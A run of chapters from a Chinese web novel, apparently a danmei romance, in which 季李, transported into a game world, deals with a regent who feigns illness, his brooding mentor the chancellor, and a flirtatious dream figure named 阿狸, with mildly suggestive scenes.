娃娃脸注意到他的动作,停了脚步轻声
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解释:“我家大人最宠它了,平日里要喂它五六次。”
“那它叫什么?”季李心说,真是不会养鱼,给它养得怎么胖还傻愣愣的,一挥手就扭着尾巴美滋滋的过来了。
“回大人,名叫桔子。”
“桔子?”季李笑了,再次探出空空的手,桔子还是欢天喜地的涌到前面来,把池水溅了他一声。
“怎么像只狗一样。”季李往后退了一步,气得像笑,狠狠点评。
娃娃脸见人湿漉漉的袖子,急忙道:“大人,您先随小人去换身衣服吧,”
“不用。”季李不在意的挥手,想起正事:“先去看看你家大人吧。”
“是。”
又走了一段路,地上铺着层看着像玉石一样的石头,他趁着人敲门问候的时候,偷偷弯腰捡了一颗,塞到袖子里藏着。
“进来吧。”从屋子里传来一声低哑沉闷的声音。
季李抬头望去,看到男人窝在张藤椅上,一脸倦色,椅背手边摆着几盘没都过的甜品。
娃娃脸压低声音道:“我家大人今日还未吃什么东西。”
季李脚步一顿,偏头问:“请太医了吗?”
“我……”娃娃脸神情苦恼,刚一开口,封怀礼皱着眉头不耐烦的哼了一声,他偏消了声音。
用眼睛示意季李,无声道,看吧,是他不愿意请。
季李心里好笑,朝人抚了抚手,随即走近坐到男人旁边的小凳子上。
没有说话,只是探手去拿木桌上的甜品。
嗯,芙蓉酥有点甜,枣糕还不错。季李一连吃了几块,瓷碟往他的方向挪了几分,他抬眸正好对上男人此时看起来水亮亮的丹凤眼。
往日的凌厉冷漠消了大半,眼尾抹上一大片红,竟带了几分风情和母性?!
季李被自己脑子所想的形容词,雷得一惊,嘴巴里的枣糕一咕哝沾到气管,呛得他探着身子咳得眼泪都淌出来了。
封怀礼看得忧心,连忙倒了杯水递到人嘴边,季李放下枣糕要去拿,茶杯已经抵了上来,微斜着,他顺势就着人的动作饮了几口。
好歹缓和过来,靠在封怀礼坐着的藤椅上喘气。
男人不放心的看着他,语气不快:“冯裕之他不给你吃东西吗?”
“怎么可能!”季李反驳,偏头一看,现在天色都暗了。
糟糕了,不能再逗留。只能明日再和他说了。季李盯着封怀礼有些苍白的脸色,柔声劝:“请一下太医吧。我就先回去了。”
谁知,封怀礼直接变了脸,沉着脸语气冷硬:“你这般着急?就不愿和我呆在一起。”
“不是。”季李见他今天状态差,不想和他起冲突,耐着性子解释:“因为老师要等我吃晚宴。”
封怀礼紧紧皱着眉头,站起了身要来拉他,张着嘴想说什么,季李躲过他探来的指尖,转身便走。
突然,听到一阵被人压抑着、湿腻的哈气声,“呜啊—”
季李心头一跳,转身就看到封怀礼弓着身子捂着肚子,脸色涨红,倒是什么也没吐出来。
封怀礼像是觉察到他的视线,慌忙掩住潮湿的眸,难堪得转过身子背对着他,手用力掌着藤椅泛出青筋,极其缓慢的站直了身子,声音极轻:“你走吧……”
30. 第三十章
说谎的人是会吞下千根针的。
封怀礼等着季李的宣判,不知是胸腔里的心还是小腹坠坠的胃哪个在痛,他只听到移动的脚步声,越来越急越来越远。
季李离开了。
他应该明白的,不能坐以待毙总该采取一些手段,既然不能两情相悦那就强取豪夺吧。
封怀礼突然没了力气,身子一歪摔在椅凳上,指尖勾着藤编的孔洞,一点一点裂开。
肚子疼得厉害,他恨着份不明缘由的痛意,恨自己咎由自取,他应该早点……
眼睛发涩看不清晰,耳边响起如同梦境般柔和的话,他挣扎着仰起头去看,怜惜的目光落在他脸上连同温凉轻颤的指节。
封怀礼奋力一抓,紧紧攥在手心,这是梦吧,他在心里怀疑着却毫不迟疑的握紧,苍白的唇开合一遍又一遍的唤:“不要走,不要……”
季李被他手心的冷汗沁得心惊,莫名的痛意泛起燃烧的蝶争先恐后聚到喉咙里,他张了张口,竟然说不出什么话来。
只好用眼神示意在旁边候着手足无措的太医,别光看着,搭把手呀。
太医这才反应过来,帮着季李把人扶到了床铺。
太医:“大人,这?”
季李尝试着动了动手臂,还是没挣动,反而引得男人更加痛苦的皱着眉头,无助的呜咽。
季李:就这样吧。
因为封怀礼就算是快被痛晕了还不忘拉着季李的手,甚至更加放任的想伸脚去缠,季李见情况不对,赶忙扯过被褥把人盖得严实,只露出半个身子。
又折腾了好半天,才弄完。
太医捋一捋胡须道:“王爷这症状有些奇怪,看脉象……”
季李时不时还要探手去摸封怀礼的脸,让人老实些,现下看病的太医还支支吾吾的说不出什么道理。
他不耐烦的盯着人,神情发冷。
“张太医不要卖关子了。”好在候在旁边的小厮瞧出情况不对,赶忙扯了扯太医的衣袍小声提醒。
张太医这才神情一凝,语气犹疑:“脉象瞧着是喜脉。”
“什么?”季李太过于震惊了,他看了看皱着眉额头不断冒冷汗的封怀礼,深吸了一口气抿直了唇望向张太医平静开口:“王爷染了风寒,你随张太医去拿药。”
小厮赶忙应声,扯着双腿不住发颤的张太医往外走,看病无数的老先生连连答应:“对、对。随老夫取几服药,王爷再休养几日风寒便除了。”
一老一小很快离开,屋内烛火通亮。
季李这才像是反应过来,叹了一口气,垂眸盯着口中念念有声的男人,指腹揉开皱紧的眉,轻声:“你在想些什么?”
不知道封怀礼有什么听到这句话,或许还陷在梦魇里,只是勾着季李的指节依然缠得紧,还不肯放开。
“我还是得走。你明白吗?”季李俯下身贴到因潮热艳红的耳骨,他亲呢的摸了摸男人的眼角,盯着水光闪动的眼睫,冷静的开口:“你不是阿狸。”
他话音一落,紧紧覆着手心的热意骤然消散,指节缓慢松开,季李得以轻松抽身。
右手掌背上还残留着一层薄薄的水迹,亮得盈盈。
季李站直了身,刻意避开了男人的脸,低着头细致掖了掖被角,余光触到悬在下颚那颗晶莹的水珠上。
“好了。”季李心头一颤,身体先一步贴了上去,轻柔的抚过泪珠,唇吻在人烫湿的眼角,像是在替他回答:“我们很快就会梦里相见的。”
“这不是你选择的吗?”
季李克制的抬头,抬眸盯着人依然紧闭的双眼,好笑得勾唇指腹寻到艳红的唇肉上,轻易撬开蚌壳后动作粗鲁的戳着柔软烫黏的舌肉。
封怀礼不肯睁眼,却咬上了恼人的指节,欲盖弥彰的准确攀上了泛粉的掌心,乘着季李的纵容叼吮上去,手指像绽开的花束抚在脸颊上,没留下什么痕迹。
季李挣着手不想和他玩了,很没意思。
陡然间指缝间水盈盈的眼瞳亮起,细小的泪珠挂在睫毛上擦拭在被烫得微卷曲的指腹,男人探出舌,寻到被标记的牙印上,怜惜、不舍的□□。
季李掌心发痒,比痛还难忍,他只皱着眉望着终于肯睁开眼的男人不耐烦的说:“你还要舔多久。”
他抿唇补充:“不要逃避问题。”
封怀礼轻飘飘扫了他一眼,又收回视线专注握着挣扎的手,闻言张嘴一口咬了下去,直到听到‘嘶’的一声吸气声,才慢悠悠松开。
“是你说要走的。”封怀礼撒了气只知现在要好好讲讲道理了。
季李懒得搭理他,被咬也是他自找的,不可能抽不回手,但是今天的封怀礼看着太可怜了。
他一时心软就不可避免的纵容起来。
“现在,我可以走了吧?”季李抬起右掌心出那枚泛红的牙印,故意晃了晃。
封怀礼不乐意,心虚的偏头避开明晃晃的印记气闷道:“为什么还要走?”
“王爷,咱们讲讲道理。”季李真是被他的无赖劲儿气笑了,俯下身仰头凑到人面前挑眉:“你咬都咬了,气也撒了。现在就好好躺着休养身体,臣还有事要忙呢。”
封怀礼纠正:“我没病。”
季李:这是重点吗?
“行。不过,那个张太医是你请来作戏的吧。”季李越想越气,抬起左手捏住封怀礼的下巴教训道:“下次不要再怎么做了。很吓人!”
封怀礼愣了一刻,突然眼睛又湿了起来,咬着唇语气委屈:“我没骗你。”
“没骗我?”季李下意识松开了手,往后退了一步,很快反应过来正色道:“所以,你有……”
“没有!”封怀礼突然喊了一声打断了他的话,一翻身把自己埋进了被子里,窝成个团子,声音闷闷的:“本王困了。”
“……那臣便告退了。”季李见人态度抗拒,现下肯定也扯不清楚,明日再来吧。
这般想着,季李忧思重重的埋着头离开了。
身后,封怀礼一把掀开被子紧紧盯着他的背影,神情纠结像是陷入了同一个难题里。
季李出王府,一抬头,此时月明星稀。
完蛋了!这个时辰,冯裕之肯定是用完了晚宴都睡下了。
季李摸了下还隐隐泛痛的掌心,心里真是对封怀礼无语极了,现在好了,
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泄愤咬了他一口,再一翻身躲进被窝里直接拒绝沟通了。
今日的事,他真的是被吓到了,听到封怀礼捂着肚子呻吟赶忙去找太医,结果一出门就迎上了急匆匆赶来的张太医。
心里着急根本没意识到奇怪的地方,或者说闪过一丝怀疑,跨步进屋见到歪斜着靠在藤椅上,脸色惨白冒着冷汗的封怀礼。
那一刻,他惊得跑过去,还没来得及出声,就被人像抓救命稻草般的攥住,季李再也生不出什么犹疑,整颗心也被攥住。
他嗓子发哑,竟然说不出话来了。
一想起,当时的情态季李又想笑又气闷,他是真的相信封怀礼生病了,就好像,下一秒神态鲜活的男人就会像一团数据般分解开,消失在他眼前。
“别想了!”季李急忙出声提醒自己,不要再回忆,都只是无端的想象,怎么可能呢?
后面一路,季李沉默着走回了相府,因为想着冯裕之已经睡下了,他反而更无畏了慢悠悠的散步似的。
火红的灯笼高挂着,遥遥一看像个红点。
季李有些犯困了,揉了揉眼睛,突然见到个朝他奔来的身形。
他赶忙瞪大了眼睛,张开嘴试探性的喊:“王七?!”
那黑影顿时蹦了起来,挥着手应:“大人,我是王七!”
季李闻言脚步不由得一慢,歇了声音不高不低的‘嗯’了一声算作回应。
王七急匆匆跑上来,紧张的神情一见到季李瞬间放松下来像看到主心骨般眼睛发亮:“大人,您可算回来了。快,冯相都睡着了。”
“啊?”季李惴惴不安的扣着手心,闻言神情一喜有些不解的追问:“那你着什么急,老师既然睡着了。我等会儿自己去吃点就好了。不急,不急。”
王七挠了挠头干巴巴的笑了笑:“这……可是,可是冯相没有回卧房。”
季李:……什么!
王七见人沉默下来,试探性的开口:“大人,要不咱们就当不知道。”
“你呀!”季李真是都被气笑了,也不知道今天是什么日子。一个个的都怎么讨笑!
季李现在算是明白了,王七不是冯裕之的人,也不是季明礼的人。
王七是一个独立自由的个人。
他季李新时代新青年更不能被封建制度腐朽身心,他抬脚步伐匆匆,侧过身轻声:“你肯定也累了,回房休息吧。剩下的我来处理。”
王七巴巴跟到季李身侧,突然感觉有些不认识这个极其容易心软甚至傻气的少年了。
王七不自在的笑着拒绝:“那怎么能行。大人您都没有休息,我怎么可以。”
“真的?”季李淡淡回。
王七脚步不停,偷偷去看人脸色,平平淡淡的也没什么不对。他放了心,故意道:“小人王七无父无母,跟随大人您以后定当尽心尽力。”
季李:“行。”
王七:?不对劲呀……
王七不敢再说话,看着人站在门外,目光像是落在趴在桌上小憩的冯相。
“大人?”王七试探性开口。
季李抬手止住人的话头,他只是有点想不明白。
31. 第三十一章
为什么冯裕之会怎么执着?
季李一时都记不清是从那一刻开始,冯裕之望向他的目光悲伤得要沁出滴泪来。
有时候,会极为亲昵柔和的望着他,就好像对待相爱多年的爱人……
季李被自己的想法吓住了,回过神时眼睛发涩,后颈凉凉的,双腿攀上临冬的寒意。
屋内,温暖柔和的橘黄色光盈得亮堂。
冯裕之轻皱着眉,半张脸陷进幽白色毛领里,如瀑银丝铺洒在肩头稀碎的发丝垂到瘦削的指节间,未成形的茧包裹着一道暗红的印记。
季李小心挪步扶到门框,探身去辨,即使没有看清但他比谁都清楚那是什么,是被冯裕之自己掐出的血口。
狠狠烙在掌心,时不时的烫和痒能让人更清醒。
季李微微摊开手,偏头去看右手心的牙印已经消散不少了,只有两个较深的牙孔般的凹孔。
“老师,用餐了吗?”刻意压低的声音带着些磨砂似的颗粒感,直直转进耳朵里。
王七浑身一抖,跟着季李小声回:“回大人,冯相一直没用餐。”
季李皱眉莫名迁怒道:“你怎么不劝劝。”
王七委屈极了,“大人,您真冤枉啊。小人只提了一嘴,结果,冯相他眼神太吓、吓人了。也不敢……”
“抱歉。”季李吞了口唾沫,心知自己才是罪魁祸首。
哎。在现实中,没有人等他吃饭。没想到,在游戏里会有人,还等了怎么久。
季李凝了凝神,转身走近屋内,坐到冯裕之对面想着现在该如何是好。
要不然,直接把冯裕之叫醒,可是,这怎么开口呀?
季李一时踌躇起来,眼巴巴盯着冯裕之。
“老师。”季李轻了轻嗓子总算喊了出来,不过多半是他心里害怕,声音轻得几乎听不见。
冯裕之一动不动。
季李攥紧了拳头,一鼓作气唤:“冯裕之。”
自呼其名之下,趴着的人微微动了动身子,眼睫轻轻颤着,浅棕色的瞳散得极开像是失明般悬在空中。
“你……你回来了吗?”冯裕之朦胧的坐直了背,双手扶在桌沿露出苍白的手腕,袖袍垂落下的间隙,闪过一片模糊的锈红色。
季李眨了眨眼睛,克制住多余的好奇心很快移开目光轻声应:“老师,学生回来了。”
冯裕之:“明礼吗?”
“是!老师,学生今日……”季李赶忙站起身,躬身行礼就要老实坦白了。
冯裕之侧过身没有看他,只轻轻挥了挥手,语气淡淡:“王七,让厨房上菜吧。”
季李张着嘴愣了一会儿闭上了,舔着唇神情犹豫,看起来冯裕之不打算追究他晚归的事情吧,那也好。
季李有些心虚的埋着头苦吃,受着冯裕之妥帖的布菜,他明明都已经准备好应对冯裕之的追问了,他编了个谎话,半真半假更能把人糊弄过去。
结果冯裕之竟然不问他。
季李说不出心里烦乱的滋味,原本爱吃的鱼肉尝起来还刺挠着舌头,扎得他眼睛酸酸的。
真是忍不辽了,季李索性放下了筷子抬头,撞进冯裕之忧思的目光里,像又回到福利院最顶层的那间禁闭室里,漫长的梅雨季,潮湿的地板、窗沿随着风颤动的蜘蛛网。
他窝在木板床上,睁着双眼发呆似的望外看,细长的雨将世界分隔成无数的线条,他梦见自己被割开,只留下一条条马赛克似的废报纸页。
‘为什么要说谎。’
‘只有你最讨厌了,没有人会喜欢你。’
‘是因为你做错了事,没有人欺负你。’
耳边躁动着本该遗忘的话语,季李咬了下舌尖,攥紧了腿间的衣袍,埋着头告诫自己,不要再回忆,这只是个漫长的噩梦。
“……怎么了?”一道微不可闻的声音投进了湖面,溅起无数圆弧圈,呼喊的人伏在杂草丛生的岸沿一头细软的银丝淌进了水里,他探出身想伸手寻进幽深湖底,指尖一触,却凝出一朵小雪花。
他仰起头,乌压压的云笼罩着天穹,忽然显出乳白的光盈正悠悠落下来,周遭的树丛激昂着起舞枝桠抖落无数片蝶似的黄叶。
冰冷的雪花划过他的脸,滚烫的热血沿着细缝淌下,他不在意的随手抚过,却见指尖像是烧灼起来烫得惊心,试探着俯身,浅棕色眼瞳不知何时变得雪白,执着的盯着湖底不时闪过的一抹身形。
随即,伸出手指极其顺利的进入了,他脸上绽出喜意,轻巧得脱去繁杂外袍浑身赤裸站在雪中,一道道雪花沁进血肉里,换来热意的血液。
赴宴般酣足的合上双眼,站在身一头跃进湖底。
他吐出几个圆润的气泡,声音被湖水吞噬。
‘请再等等我吧。’
季李寻着那声音望去,一双沁水的眸怜惜的看着他,无声的劝慰。
“……我、学生无碍。”季李一时竟忘记了言语,就好像那道一直伴着他的视线在此刻有了答案,就是冯裕之。
怎么可能呢?
冯裕之只是个游戏角色,不会出现在现实世界,更何况当时他还只是个小孩,根本没有接触过‘玄朝’这个游戏。
所以,一切都只是想象。
季李没有说服自己,但现在转移话题会是个好的选择,他扬了扬笑容开口:“老师,您也用餐吧。”
冯裕之适时收回视线,拿起没有用过的筷子点了点头。
季李说完,冯裕之便小口用起了餐来,他观察了一下,每一样菜都只夹了两下。
“老师,这个挺好吃的。”季李现在没什么胃口,使着公筷夹了一夹手边的糖醋鱼。
冯裕之意外的看了他一眼,眼里带着些惊喜,舌根的烫印不合时宜的痛了起来,一寸寸往外沿,灼烧着却带来无尽渴求的温暖,他甘之如饴的勾唇笑了。
品不出鱼肉的滋味,他只看到季李颇为谨慎的向他伸出的触角,从厚重长满荆棘的壳下探出来不自知的依赖。
“果真很好吃。”冯裕之满意的赞赏。
季李一听,总算有事做了,剩下的时间他又挑了自己喜欢的菜给人夹去。
在一声声喜意和赞美中飘飘然。
“大人。”突然王七冒了出来,他压低声音喊。
季李转身问:“你也饿了?”
“不是。您夹得太多了吧。”王七朝快堆成小山的菜碟示意。
季李尴尬的收回手,想了想,把菜碟弄到自己面前埋头吃着。
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冯裕之回来时,就看到空空如也的饭碗和瓷蝶。
“慢慢吃,不急。”冯裕之给人舀了碗汤柔声道。
季李有些吃不下了,偷偷摸摸把饭碗推到旁边,换了个干净的碗,满脸为难的望着热气腾腾的汤碗。
余光扫到冯裕之温和的目光,他端着碗喝了一口,随后放下小声道:“老师,学生吃不下了。”
冯裕之点了点头,“那去休息吧。”
季李告了礼走到门口,转身离开时看到冯裕之还稳稳坐在凳子上,端着瓷碗,一双浅眸雪似的白亮雾霭般的热气升起。
季李赶忙收回视线,他就不该再好什么奇!
没事,没事。季李拔腿跑回屋子里。
王七在身后匆匆的追。
屋内渐渐暖和起来。
季李在被子里埋得有些热了,一扭身钻了出来,竟还见王七像柱子般直愣愣的站在,赶忙道:“你就回去休息吧,不用候在这儿了。”
王七摇头:“大人,王七有一事相求。”
“怎么啦?”季李有些意外,赶忙坐直了身子开口:“是俸禄还没拿到吗?”
王七:刚酝酿好的悲意瞬间消失。
季李见人神情怪异,干笑了两声道:“没有,我在开玩笑。”
王七:沉默。
季李认错般坐直了身子,清了清嗓子:“好吧,这玩笑不好笑。我不捣乱了。你快说吧。”
王七泪眼汪汪道:“大人,小人想休假两日。是因为……”
“好!”季李拍板。
王七走出门的时候还在想,原本要编的理由是什么。
这也太容易了,不行!
王七一个转身,就见大门在他眼前紧闭上,只得黯然离开了。
季李一头扎进被褥里,眼前一会儿显出封怀礼的脸,一会儿又是冯裕之在说话。
今日封怀礼装病想把他留下来,但有点不对劲,男人苍白的脸萦绕在他心头,右手心的牙印泛着痒意。
“可他看起来是真的难受。”季李一时纠结起来,只觉得眼前有个巨大的漩涡,让他踌躇不决。
对了!季李突然想到一件事,乐得在床上滚了一圈,探手取出竹编蝴蝶,既然白天的封怀礼不告诉他,就去问梦里的。
阿狸应是好说话的。
季李放下蝴蝶,起身整理衣袍时把布袋取了出来,指腹按压着摸了摸一颗一颗的糖。
他翻身靠在枕头边,小心解开了绳结,绚丽的糖衣露出一角,看着花花绿绿的。
“怎么有点眼熟。”季李捏着个糖,在脑海里仔细思索着这份熟悉的感由来,却怎么也摸不明了。
只好把糖放回袋子里。
明日再尝尝味道,说不定就想出来了。
季李重新窝回被子里,放松了身体心里念着阿狸的名字,迷迷糊糊的就睡着了。
睁开眼时,最先感知到的是手心处传来的痒意,湿凉的水阻碍了他的行动。
一只胖嘟嘟的锦鲤推了推他的手背,他趴在水池沿上,差一点就要一头栽进去了。
“你是桔子吗?”季李用指头点了点锦鲤的头,发现白日里满池的游鱼,现在竟然只有它这一条,一时有些不确定起来。
32. 第三十二章
‘咕噜——’胖锦鲤的回答是吐出一大串气泡。
季李拍干净衣袍上的灰尘半蹲着身子开口:“好吧。桔子,我去找你家主人了。”
桔子沿着池岸不舍的跟着游,季李转念一想,现在是在梦里,也许锦鲤也是会说话的。
他停了脚步,低着头问:“桔子,你能带我去找他,对不对?”
桔子扑腾一声从水池跃起,竟然真悬在空中带起了路。
季李没想到,梦境这般玄乎超越常理,他盯着锦鲤大块金黄色鳞片隐隐泛着白光,突然想起了晚宴时吃掉的大鲤鱼。
他吞了吞唾沫,暗自决定以后定然不能在封怀礼面前吃鱼了。
桔子尽心尽力带着路,绕了两座假山,花园里一曲弯池游来游去的鱼儿畅快极了。
一个个都肥嘟嘟的。季李不争气的擦了把嘴角沁出的口水。
胖锦鲤游得更快,停在凉亭边说什么也不肯动了。
季李眨了眨眼,了然,“谢谢桔子啦。”
话音一落,锦鲤扑腾一声回到池里,水花四溅。
季李赶忙往后退了一步,竟从它的举动里觉出份怒气?
季李不理解也不多想,转身走过凉亭,穿过一条弯曲的小路。
宽阔的马厩出现在眼前,五六匹骏马正埋头吃着草料。
季李一偏头,就见男人牵着头雪白的大马朝他走近,神情自然凛然的丹凤眼带着傲气和喜意。
季李一时竟然分辨不出他是阿狸还是封怀礼,略显踌躇的扭头去看嘴巴里还衔着青草的白马,健壮的肥硕。
“白胖胖。”他脑袋里闪过这一个词,情不自禁就说了出来,或许在他眼里,封怀礼的‘白雪’被唤作‘白胖胖’才更贴切吧。
“季李!”男人没等来季李的靠近,急恼起来松开了缰绳拔腿跑来,一股淡淡的橘子花香随风袭来。
季李闻言眼睛一亮,应声奔上前口中喊:“阿狸,你怎么出现在这里了?”
阿狸神秘兮兮的朝他眨了眨眼睛,讨功似的凑近勾着唇吐息,“要教季李骑马。”
“教我……”季李愣了一下话只说了一半,后背被湿漉漉偏软的触感顶撞着,他偏头去看。
罪魁祸首大白马依然后退了几步,但气势汹汹的朝他喷气。
一根青草湿哒哒的就贴在了他脸上,季李都被气笑了,教训道:“白胖胖,你是不是欠收拾了!”
那大白马更嚣张了,直接抬起前蹄,长长的嘶鸣一声。
“白雪,别闹了!”阿狸适时出声,挡在季李身前,仔细辨着他的表情小声道:“白雪很喜欢你。”
季李不解的歪头:“应该没有吧,可能是因为我叫它白胖胖。”
“所以它生气了。”季李靠在阿狸肩头,笑眯眯的望着皮毛油亮的白马。
温热柔软的指轻轻摩挲着颈侧,阿狸睁着亮盈盈的瞳幽幽望着少年湿润唇肉上的小黑痣,倾身凑近,张开嘴烫红的舌尖舔过下唇慢悠悠回答:“白雪是白胖胖生的。”
“什么?”季李愣了一下,颇为意外的开口:“没想到,我随口一说竟然还有这层关系。”
阿狸凑得更近,一双手不老实的要寻到人衣角里去,哑着声音问:“那你喜欢孩子吗?”
季李根本不敢回应,他瞬间想起来封怀礼脸色苍白的样子,张太医支支吾吾的说,‘是喜脉’。
完全太吓人了!这根本不符合常理。
季李赶忙扯出来阿狸的手指,紧紧握住,转过身盯着白雪岔开话题道:“不是要教我骑马吗?”
阿狸垂眉掩住幽深情思,扬起嘴角亲昵的贴了上去,张口含住发烫的耳肉语气黏糊:“好吧,答应季李了。”
“……不准再亲了。”季李忍了几秒,将几乎快缠到他身上的阿狸扯下来,看着人眼睛正色道:“定金已经付过了。你把我教会了,再谈其他的。”
“那我不要和你谈。”阿狸不乐意的勾着季李的尾指,低着头摊开印记快消散的牙印,语气闷闷的,“我要对你动手动脚。”
季李原本以为他要说出什么漂亮话出来,结果就吐出句,不算情话的情话。
“你现在就在动手动脚了。”季李抬起被他挽着的右手,笑意在觉察到阿狸直勾勾盯着掌心后浅了不少,他挑眉没好气的开口:“还想咬?”
话音一落,阿狸瞬间抬头露出沁湿的双眸,眼尾渗出浅红色的热意,看起来可怜极了。
“这是怎么啦?”季李不知所措的凑近了一些,空闲的手想揉揉要涌出泪珠的眼睛,但怕一碰湿热淌得更欢,只好勾了勾他染红正不断吸气的鼻头,“这可怜见儿的。”
阿狸抿直了唇摇头不肯说话,只牵起季李的右手拉到嘴边,张唇探出湿热舌尖寻着印记细细描画着。
原本掌心的痒意都要消失殆尽了,这下可好,又烫又麻的,激得他后脊发凉。
“我真是怕了你了。”季李想扯回手刚一用力,湿漉漉的热意寻着他指隙就要流下来,艳红的眼尾含着诱人的情意像是食人血肉的精怪,品着你的怜意愈发肆无忌惮。
季李本想让他舔个够,但猩红舌尖看着悄悄怯怯的,胆子却极大,溜到指腹与齿尖伙同又吸又吮的。
“我可以提前付尾款。”季李神情不变,慢条施理收回手像是无意落到人肩头,沿着领口往里抚弄,指尖停到发硬的□□,他好心提醒:“但是,你确定要现在?”
手下的身体抖得厉害,阿狸闻言毫不畏惧的朝他瞪了一眼,露出更柔软艳红的湿意,连灵巧的舌都像是溺毙般搁在指头上,淌出细长的银色丝线。
“你的服务真不行。”季李不满意的捏了捏偷懒的舌头,挑刺道:“所以,交易取消。”
“不、不要。”阿狸一听连忙撑起发软的身子,舌头发麻木木的,就好像不是自己的了,连同被抚摸过的身体,他害怕又渴求,谨慎的开口:“我们再试试吧。”
“又要试?”季李显然不相信在他这里信誉值为负的客人,不管弄了多少次,只有他一用力,阿狸就像是被按了报废键的机器人,瞬间失去了理智,话语颠倒的,又要他轻点,又说不够。
又说不要摸他的肚子了,又说摸一摸他的脸。
他很听话。
季李:“明明就不听话。”
阿狸
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紧紧抓住季李的手,软着声音请求:“我听话。”
季李面不改色:“那现在教我骑马。”
阿狸:“不是这个!”
季李毫不留恋的收回手,转身朝高大白马走去,站到白雪旁边不算熟稔的应付着,白雪亲呢的用头蹭来蹭去的举动。
阿狸整了整衣服,攥紧手指艰难的挪步走近,一倾身又要靠上去语气委屈:“你真要骑马?”
“是阿狸说要教我骑马的。”季李表示很冤枉。
阿狸立马道:“那我们不骑了,来玩我……”
季李冷冰冰拒绝打断他大胆的发言:“不行。”
阿狸气愤的交叠起了双臂,往后退了一步,哼了一声道:“不玩就不玩。”
季李不再多言,转身看着时不时用头蹭他的白雪,有些为难的开口:“我骑白雪吗?”
阿狸绕到他身前,一把扯住缰绳,白雪瞬间安静了老老实实站在原地,十分温顺的模样。
季李见状,一抬脚翻身上马,动作熟练潇洒,他稳当坐在马背上时都愣住了,难道他天赋异禀已经掌握了骑马的技能?
阿狸握着缰绳走在一旁,时不时抬头去看季李,适时指导着要领。
季李:“我应该学会了,你也上马吧。”
阿狸摇头:“应该不行,我还没有完全掌握这具身体。”
季李一听纵马飞驰的念头瞬间消了个干净,他揪着缰绳想下马,偏头对阿狸道:“你封怀礼做了什么交易吗?”
“这是个惊喜。”阿狸停下脚步仰头去看他,语气神秘。
季李脑袋里已经闪过了许多猜测,或许封怀礼突然晕倒也和阿狸有关系,还有‘喜脉’?
难不成封怀礼与阿狸要给他弄出一个‘孩子’来?
季李心头一跳,吞了吞唾沫连忙止住这般荒谬的念头,他和阿狸根本就没有发生什么实质性的关系,再说阿狸是个男人。
尽管找出了压倒性的理由,可眼前突然跃过一条胖嘟嘟的锦鲤,会悬空的桔子也是不合常理的。
“季李,你在想什么。”阿狸没等到回应,皱着眉头凑近关切的询问。
季李一听赶忙正了正心神,试探性开口:“是他找你做交易的吗?”
阿狸诚实的点头,脸上的笑容明媚,“对!”
在他眼中,阿狸更像不谙世事的猫妖,不通人世险恶只追随着身体上的快意而行动。
肯定是封怀礼把阿狸哄骗了!季李定定的想着,一翻身从马背跃下,紧握住他的手,不安道:“你不要轻易相信他。”
阿狸一时没有说话,深褐色的眼瞳亮得惊人像黑夜里闪烁的兽瞳,他解释着,“我想要见到你。”
季李赶忙开口:“会见到我的呀,梦里我就和你相见了。”
阿狸黯然垂眉语气闷闷的,“可是那不够。”
“……我。”季李瞬间止了声音,他咬着唇不知道该说些什么,攥着男人的手不自觉用力,突然他想到个借口,扬声道:“不,阿狸你知道吗。就算是在白天,我也见不到他。”
季李脸不红心不跳的撒了个谎,只盼着能把人骗过去。
34. 第三十四章
明目张胆的踏进政敌的府邸里。
季李他怕是丞相一派里的头一人,而且昨晚还让冯裕之等他回去吃饭。
如果,冯裕之去查……
“完蛋!”季李一激灵赶忙转身要走,突然身后传来个耳熟的呼喊,“季大人,您总算来了。”
“您快来。”
季李只好止了动作,抬头去看,是昨日带他进去的小厮青涩的一张娃娃脸。
季李捏着衣袍追问:“是王爷出什么事了吗?”
小厮扭扭捏捏摇了摇头,季李心刚一定又见人点头小声回话:“王爷,他不肯吃药。”
季李一愣无奈道:“……可是找我也没用呀”
小厮苦着脸央求:“有用,您再劝劝我家大人吧。”
季李沉默了,转身想走,封怀礼不吃药就说明他根本没病,不吃就算了,他不该牵扯进去。
就算封怀礼真的生病了,那只能说他太犟了,又不是什么小孩,难不成吃药都要人哄。
就在娃娃脸以为季李要离开了,他都在心里想好了回去交代的用词,按照惯例,王爷先是要发一通脾气,然后要习一整天的武。
哎,暗卫兄弟们辛苦了。
娃娃脸刚在心里感叹完,就听到一声叹气声。
季李抬脚走到愣神的小厮身前,提醒:“走吧。”
一路上,季李想象着封怀礼的情状,像什么躺在床上面容病弱,或者是怒气冲冲的攥住他的手指责,他冷血无情。
或者是含情脉脉的依恋的强硬而柔软的引着他的手,落在红粉的肌肤上因指腹触摸而轻颤的,舞动的眼睫、探出的湿热舌尖。
季李越想越觉得不安,最可能的情况就是,封怀礼看到他恢复如常的手心反而升起怒意,一口咬在他手心,要让这个印记刻在骨髓里。
“……这就是你说的生病。”季李还未走近院子就听到气势汹汹的舞剑声,他心下犹疑却坚定的朝已然生起悔意的小厮点头,示意,继续走。
娃娃脸苦着脸站在门口,半挡着入口,不让人进去了。
可季李比小孩长得高,他一抬眼就把院子里的情形看得清楚。
男人面色寒霜的举着剑,挥舞、刺击动作间带着无尽的怒意,像是依靠着习武来消解烦闷。
一袭红衣包裹着矫健的身体,露出的脖颈因热意显出些粉红,拨动的剑刃闪动白光,在周遭的树叶上斑驳。
季李愣住了,如果这样的封怀礼都生病了,那他岂不是病入膏肓?
季李无奈:“你看像话吗?”
娃娃脸委屈的转身,揪着手指头一时不知道该说些什么。
“大、大人。我送……”小厮想了半天,支支吾吾道:“哎!”
一双冷冽的丹凤眼漠然扫过,‘咻’的一声划破了空气,打断了娃娃脸的话。
剑刃镶入石板,封怀礼大步朝两人走近,裹挟着涩麻的橘子皮汁的寒风粼粼涌来。
季李眨了眨眼睛,避开因剑身晃动而挥舞的亮盈,他心里闪过一丝犹豫但面色不变,抬脚挺身把娃娃脸挡在身后,嘴角微扬语气恭敬:“臣来得不巧,扰王爷兴致了。”
封怀礼停了脚步朝躲在季李身后一脸怯意的小厮使了个眼神,娃娃脸赶忙转身,鞋底踩着石板‘哒哒哒’的作响。
季李这才放松了些身体,不着痕迹往后退了一步,轻声道:“既然王爷身体无恙,臣也就放心了。”
他说完,行了一礼举动间生了离意。
封怀礼转过身,轻巧抽出剑身,低着头抚摸刀刃启唇:“不好。”
季李只得停住脚步,心下纠结,要不然就当没听到直接离开吧,但是封怀礼他拿着剑呀!
如果,如果真把他惹生气了,一把剑扔过来岂不是要完蛋。
季李咬咬牙,突然感觉之前对封怀礼轻浮、痴情的印象都是假象,这摄政王完全和那昏君是一般疯的。
软的不行,就要弄些让人误会的举动来。
